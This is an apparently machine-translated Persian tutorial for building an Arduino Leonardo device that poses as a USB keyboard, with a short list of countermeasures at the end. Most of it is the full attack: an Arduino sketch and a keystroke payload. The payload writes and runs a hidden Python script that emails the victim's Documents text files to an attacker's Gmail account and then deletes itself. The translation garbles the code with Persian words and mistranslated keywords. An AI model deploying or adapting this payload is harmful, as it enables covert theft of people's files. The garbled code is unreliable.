فهرست مطالب:

نسخه نمایشی بهره برداری از صفحه کلید آردوینو (HID) و پیشگیری: 4 مرحله (همراه با تصاویر)
نسخه نمایشی بهره برداری از صفحه کلید آردوینو (HID) و پیشگیری: 4 مرحله (همراه با تصاویر)

تصویری: نسخه نمایشی بهره برداری از صفحه کلید آردوینو (HID) و پیشگیری: 4 مرحله (همراه با تصاویر)

تصویری: نسخه نمایشی بهره برداری از صفحه کلید آردوینو (HID) و پیشگیری: 4 مرحله (همراه با تصاویر)
تصویری: Web Programming - Computer Science for Business Leaders 2016 2024, جولای
Anonim
Image
Image
ساختن دستگاه
ساختن دستگاه

در این پروژه ما قصد داریم از arduino leonardo برای شبیه سازی حمله احتمالی USB با استفاده از HID (دستگاه رابط humain) استفاده کنیم.

من این آموزش را نه برای کمک به هکرها بلکه برای نشان دادن خطرات واقعی و نحوه محافظت از خود در برابر این خطرات ایجاد کرده ام. این دستگاه دستگاهی نیست که بتواند بر روی هر پلتفرمی برای هکرها استفاده شود ، بلکه بیشتر اثبات مفهوم در جزئیات است.

ما قصد داریم موارد زیر را بیاموزیم:

- نحوه استفاده از آردوینو لئوناردو برای شبیه سازی صفحه کلید

- نحوه خواندن داده ها از کارت های SD

- چگونه می توان یک اسکریپت پایتون ایجاد کرد که پرونده ها را اسکن کرده و برای آنها ایمیل ارسال می کند

- چگونه از خود در برابر دستگاه های هک USB محافظت کنیم

مرحله 1: مواد

قطعات:

1. آردوینو لئوناردو

2. کارت خوان میکرو USB

3. چند کارت SD گیگابایتی

4. دکمه مانند این (VCC ، Ground و سیگنال)

5. کابل های جهنده زن-مرد و زن-زن

6. کابل میکرو USB به USB

مرحله 2: ساختن دستگاه

ساختن دستگاه
ساختن دستگاه

قبل از دستورالعمل ساختمان اجازه دهید اصل کار را مرور کنیم:

آردوینو لئوناردو می تواند مانند یک دستگاه رابط انسانی (HID) رفتار کند و بنابراین می تواند ماوس و صفحه کلید را شبیه سازی کند. ما قصد داریم از این ویژگی برای باز کردن یک ترمینال (در لینوکس UBUNTU) و نوشتن یک اسکریپت کوچک استفاده کنیم که به پوشه /Documents داخل پوشه اصلی کاربر در پوشه اصلی کاربر فایل های.txt را کپی کرده و برای کسی ایمیل کند. اگر می خواهید جزئیات بیشتری پیدا کنید ، مرحله بعدی را بررسی کنید.

از آنجا که این یک دستگاه نمایشی است همه چیز واقعا ساده است ، ما قصد نداریم چیزی را لحیم کنیم.

دستورالعمل ساختمان

قبل از شروع به بررسی فایلهای پیوست ، من شماتیک و همه فایلهای لازم را ضمیمه کرده ام

1. اجزاء را مونتاژ کنید:

* کابل میکرو USB را به آردوینو وصل کنید

* سوئیچ کلید را به arduino وصل کنید (ماژول زمین ، vcc و out به D8)

* کارت خوان را به arduino وصل کنید (با استفاده از سرصفحه ICSP). آردوینو لئوناردو هدر ICSP را به پین های دیجیتالی متصل نمی کند ، بنابراین باید کارت خوان را به سربرگ ICSP وصل کنید. شما می توانید برخی از نقشه های ICSP را در اینجا پیدا کنید: https://learn.sparkfun.com/tutorials/installing-an…. پین SS را به پین دیجیتال 10 وصل کنید

2. کد arduino را دریافت کنید ، می توانید مخزن arduino من را در github کلون کنید: https://github.com/danionescu0/arduino و به projects/keyboard_exploit بروید یا آن را از زیر دریافت کنید:

#شامل "Keyboard.h"

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"؛ String sleepCommandStartingPoint = "خواب::"؛ string commandStartingPoint = "Command::"؛ int delayBetweenCommands = 10؛ const int buttonPin = 8؛ const int chipSelect = 10؛ int previousButtonState = HIGH؛ void setup () {pinMode (buttonPin، INPUT)؛ Serial.begin (9600)؛ Keyboard.begin ()؛ if (! SD.begin (chipSelect)) {Serial.println ("کارت خراب شد ، یا موجود نیست!") ؛ برگشت؛ }} void loop () {int buttonState = digitalRead (buttonPin) ؛ if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard ()؛ Serial.println ("بارگذاری شده!") ؛ تأخیر (500) ؛ } previousButtonState = buttonState؛ } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard)؛ if (! dataFile) {Serial.println ("نام فایل مشخص شده در کارت SD وجود ندارد ، filenameOnCard را بررسی کنید!") ؛ } خط رشته ؛ while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n')؛ Serial.println (خط) ؛ sendToKeyboard (خط) ؛ } dataFile.close ()؛ } void sendToKeyboard (خط رشته) {String workingLine = line؛ if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (خط) ؛ برگشت؛ } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Text:")؛ Serial.println (line)؛ Keyboard.println (خط) ؛ pressEnter ()؛ برگشت؛ } Serial.println ("دستور:") ؛ int charPosition = commandStartingPoint.length ()؛ int lineLength = line.length ()؛ workingLine += "،"؛ while (workingLine! = "") {workingLine = workingLine.substring (charPosition)؛ Serial.print ("WorkingLine:") ؛ Serial.println (workingLine) ؛ int specialCommandDelimiterPosition = workingLine.indexOf ("،")؛ فرمان رشته = workingLine.substring (0 ، specialCommandDelimiterPosition) ؛ charPosition = specialCommandDelimiterPosition + 1؛ if (command! = "") {Serial.print ("Command found:")؛ Serial.println (command)؛ Keyboard.press (getCommandCode (فرمان)) ؛ تأخیر (delayBetweenCommands) ؛ }} Keyboard.releaseAll ()؛ تأخیر (delayBetweenCommands) ؛ } void pressEnter () {Keyboard.press (KEY_RETURN) ؛ Keyboard.releaseAll ()؛ } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length () ، line.length ()). toInt ()؛ Serial.print ("Sleeping for:") ؛ Serial.println (sleepAmount) ؛ تاخیر (sleepAmount) ؛ } char getCommandCode (متن رشته) {char textCharacters [2]؛ text.toCharArray (textCharacters ، 2) ؛ کد char = textCharacters [0]؛ کد = (متن == "KEY_LEFT_CTRL")؟ KEY_LEFT_CTRL: کد ؛ کد = (متن == "KEY_LEFT_SHIFT")؟ KEY_LEFT_SHIFT: کد ؛ کد = (متن == "KEY_LEFT_ALT")؟ KEY_LEFT_ALT: کد ؛ کد = (متن == "KEY_UP_ARROW")؟ KEY_UP_ARROW: کد ؛ کد = (متن == "KEY_DOWN_ARROW")؟ KEY_DOWN_ARROW: کد ؛ کد = (متن == "KEY_LEFT_ARROW")؟ KEY_LEFT_ARROW: کد ؛ کد = (متن == "KEY_RIGHT_ARROW")؟ KEY_RIGHT_ARROW: کد ؛ کد = (متن == "KEY_RIGHT_GUI")؟ KEY_RIGHT_GUI: کد ؛ کد = (متن == "KEY_BACKSPACE")؟ KEY_BACKSPACE: کد ؛ کد = (متن == "KEY_TAB")؟ KEY_TAB: کد ؛ کد = (متن == "KEY_RETURN")؟ KEY_RETURN: کد ؛ کد = (متن == "KEY_ESC")؟ KEY_ESC: کد ؛ کد = (متن == "KEY_INSERT")؟ KEY_INSERT: کد ؛ کد = (متن == "KEY_DELETE")؟ KEY_DELETE: کد ؛ کد = (متن == "KEY_PAGE_UP")؟ KEY_PAGE_UP: کد ؛ کد = (متن == "KEY_PAGE_DOWN")؟ KEY_PAGE_DOWN: کد ؛ کد = (متن == "KEY_HOME")؟ KEY_HOME: کد ؛ کد = (متن == "KEY_END")؟ KEY_END: کد ؛ کد = (متن == "KEY_CAPS_LOCK")؟ KEY_CAPS_LOCK: کد ؛ کد = (متن == "KEY_F1")؟ KEY_F1: کد ؛ کد = (متن == "KEY_F2")؟ KEY_F2: کد ؛ کد = (متن == "KEY_F3")؟ KEY_F3: کد ؛ کد = (متن == "KEY_F4")؟ KEY_F4: کد ؛ کد = (متن == "KEY_F5")؟ KEY_F5: کد ؛ کد = (متن == "KEY_F6")؟ KEY_F6: کد ؛ کد = (متن == "KEY_F7")؟ KEY_F7: کد ؛ کد = (متن == "KEY_F8")؟ KEY_F8: کد ؛ کد = (متن == "KEY_F9")؟ KEY_F9: کد ؛ کد = (متن == "KEY_F10")؟ KEY_F10: کد ؛ کد = (متن == "KEY_F11")؟ KEY_F1: کد ؛ کد = (متن == "KEY_F12")؟ KEY_F2: کد ؛

کد بازگشت ؛

}

3. کد را در آردوینو بارگذاری کنید ، حتما 9600 baud rate ، پورت سریال و arduino leonardo را انتخاب کنید

4. کارت sd را با استفاده از FAT16 یا FAT32 فرمت کنید

5. اگر repo github را از بالا کلون کردید ، فایل hack.txt را روی کارت کپی کنید ، در غیر اینصورت فایل زیر ذکر شده است:

Command:: KEY_LEFT_CTRL، KEY_LEFT_ALT، tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT import smtplib glob، os from os.path import expanduser from email. MIMEMultipart import MIMEMultipart from email. MIMEBase import MIMEBase from email واردات MIMEText MIMEText از ایمیل. واردات COMMASPACE ، قالب بندی از رمزگذارهای واردات ایمیل

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Documents'

subject = body = 'فایلهای کامپیوتر هک شده'

header = 'به: {0} n از: {1} n موضوع: {2} n'.format (to_address، smtp_user، subject)

def sendMail (به ، موضوع ، متن ، فایل = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE. join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach (MIMEText (متن)) برای فایل در فایلها: part = MIMEBase ('application'، "octet-stream") part.set_payload (open (file، "rb"). read ()) Encoders.encode_base64 (part) part. add_header ('Content-Disposition'، 'attachment؛ filename = "٪ s"'٪ os.path.basename (file)) msg.attach (part)

سرور = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user، smtp_pass) server.sendmail (smtp_user ، به ، msg.as_string ()) server.quit ()

sendMail ([به_آدرس] ، موضوع ، متن ، glob.glob ("{0}/{1}/*. txt".format (expanduser ("~") ، scan_documents_location)))

Sleep:: 50 Command:: KEY_ESC Sleep:: 100: x Sleep:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Sleep:: 400 Command:: KEY_LEFT_ALT، KEY_F4

6. خطوط زیر را ویرایش کنید:

smtp_user = 'فرستنده_امیل_افزایش'

smtp_pass = 'sender_password' to_address = 'receiver_address'

و آدرس ایمیل خود را جایگزین کنید

7. کارت را بردارید و آن را در کارت خوان آردوینو قرار دهید

مرحله 3: نحوه کار در جزئیات

نحوه عملکرد حمله:

1. با فشردن دکمه ، لئوناردو کارت sd را با استفاده از کارت خوان sd می خواند. یک فایل خاص حاوی کلیدها و ترکیب کلیدها روی کارت وجود دارد. نام فایل "hack.txt" است.

فایل می تواند حاوی متن خام باشد و همانطور که هست به صفحه کلید منتقل می شود.

همچنین می تواند شامل دستورات خاصی مانند "Sleep::" و "Command::" باشد.

خطی مانند:

خواب:: 200 یعنی خواب 200 میلی ثانیه

خطی مانند:

فرمان:: KEY_LEFT_CTRL ، KEY_LEFT_ALT ، t به معنی ctrl چپ فشرده ، چپ alt فشرده ، t فشرده و همه رها شده است

می توانید همه کلیدهای ویژه را در اینجا بررسی کنید:

2. لئوناردو خط به خط می خواند و دستورات را تفسیر کرده و کلیدهای صفحه کلید را شبیه سازی می کند. فایل "hack.txt" شامل ترکیبی از کلیدها است که موارد زیر را انجام می دهد (برای لینوکس UBUNTU):

آ. باز کردن یک ترمینال (CTRL + ALT + T)

ب یک فایل پایتون را برای ایجاد با استفاده از vi باز می کند (می نویسد "vi hack.py"

ج یک اسکریپت پایتون در داخل می نویسد که تمام فایل های متنی داخل پوشه اصلی اسناد را جمع آوری کرده و آنها را به آدرس مشخص شده جیمیل ارسال می کند

د فایل را در پس زمینه اجرا می کند ("nohup python hack.py &")

ه حذف فایل (rm -rf hack.py)

f بستن ترمینال (ALT + F4)

این کل در چند ثانیه اجرا می شود و اثری از خود بر جای نمی گذارد.

پیشرفت ها و عیب یابی

* ممکن است متوجه شده باشید که پس از باز کردن ترمینال ، در حال نوشتن فایل پایتون هستم. یک راه بهتر برای آن این است که آن را در جایی میزبانی کرده و با استفاده از دستور "wget some_url" بارگیری کنید ، سپس نام آن را به hack.py تغییر دهید.

* همچنین می توانیم یک نسخه آماده برای سیستم عامل هدف را بارگیری یا اجرا کنیم

* wifi را می توان به ماژول اضافه کرد و هک ها را می توان از طریق WIFI بارگذاری کرد

* می توانید از arduino micro (که بسیار کوچکتر است) استفاده کنید و کد exploit را روی آن قرار دهید (برای کوچکتر شدن آن)

محدودیت ها

1. از آنجا که دستگاه شبیه سازی شده (صفحه کلید و ماوس) هیچ بازخوردی ندارد ، ما نمی دانیم پس از صدور فرمان چه اتفاقی می افتد ، به این معنی که ما باید از تاخیرها استفاده کنیم. به عنوان مثال ، من فرمان باز کردن ترمینال را صادر می کنم ، اما نمی دانم چه زمانی واقعاً باز می شود ، بنابراین باید تأخیر دلخواه را مشخص کنم تا مطمئن شوم که کاراکترهای تایپ شده بعد از بین نمی روند.

2. ممکن است با مشکلات مربوط به مجوز مانند عدم دسترسی به پورت USB یا مجوز نصب چیزی مواجه شویم

3. سرعت تایپ آن در لئوناردو زیاد نیست

4. فقط روی یک سیستم عامل هدفمند کار می کند (در مورد ما لینوکس UBUNTU)

در مرحله بعد سعی می کنیم راه هایی را برای استفاده از این محدودیت ها برای جلوگیری از هک شدن رایانه خود بیابیم

مرحله 4: اقدامات متقابل

1. غیرفعال کردن پورت های USB

-برای Windows می توانید این آموزش را بررسی کنید:

2. دستگاههای USB لیست سفید:

- برای ویندوز:

2. هنگامی که دور نیستید کامپیوتر خود را قفل کنید

3. به عنوان root وارد نشوید (برای نصب هر چیزی به گذرواژه نیاز دارید)

4. خود را به روز نگه دارید (به روز رسانی خودکار روشن است)

توصیه شده: